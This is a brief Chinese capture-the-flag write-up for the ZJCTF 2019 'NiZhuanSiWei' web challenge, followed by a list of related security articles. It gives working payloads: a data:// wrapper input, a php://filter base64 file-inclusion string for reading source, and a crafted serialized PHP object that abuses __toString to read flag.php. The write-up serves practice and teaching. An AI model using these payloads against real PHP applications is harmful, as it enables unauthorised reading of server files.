[ZJCTF 2019]NiZhuanSiWei

关键点:

(1)file_get_contents($text,'r')

(2)include($file)

(3)$password = unserialize($password);
echo $password;

1.变量如何变成文件输出

text=data://text/plaint,welcome to the zjctf

  1. include($file)文件包含

file=php://filter/convert.base64-encode/resource=useless.php

3.反序列化

源码

php 复制代码
<?php  
class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

构造

php 复制代码
<?php
class Flag{  
     public $file='flag.php';
}
$a=new Flag;
echo serialize($a) ;
?>

上面的源码有echo $password,会触发__toString()。

相关推荐
Chengbei116 小时前
推送POC汇总 — 2026年1月多产品多类型vulnerability速递与应急建议
安全·web安全·网络安全·系统安全·网络攻击模型·安全架构
路baby12 小时前
BurpSuite基础功能实战演示讲解
安全·web安全·网络安全·系统安全·burpsuite
同聘云14 小时前
腾讯云服务器防火墙与网络安全的关系—不可或缺?
服务器·web安全·腾讯云
CDN36016 小时前
CDN 缓存不生效 / 内容不更新?7 种原因 + 一键刷新方案
运维·网络安全·缓存
Chengbei1116 小时前
推送POC汇总 — 2026年3月多产品多类型vulnerability速递与应急建议
安全·web安全·网络安全·系统安全·网络攻击模型·安全架构
菩提小狗17 小时前
每日安全情报报告 · 2026-03-29 · 2026-03-29
网络安全·漏洞·cve·安全情报·每日安全
Kapibalapikapi18 小时前
Web笔记 | docker常用指令 --搭建测试靶场
web安全·docker·容器
不灭锦鲤18 小时前
网络安全学习第162天
学习·安全·web安全
m0_7381207218 小时前
渗透测试——Ripper靶机详细横向渗透过程(rips扫描文件,水平横向越权,Webmin直接获取root权限)
linux·网络·数据库·安全·web安全·php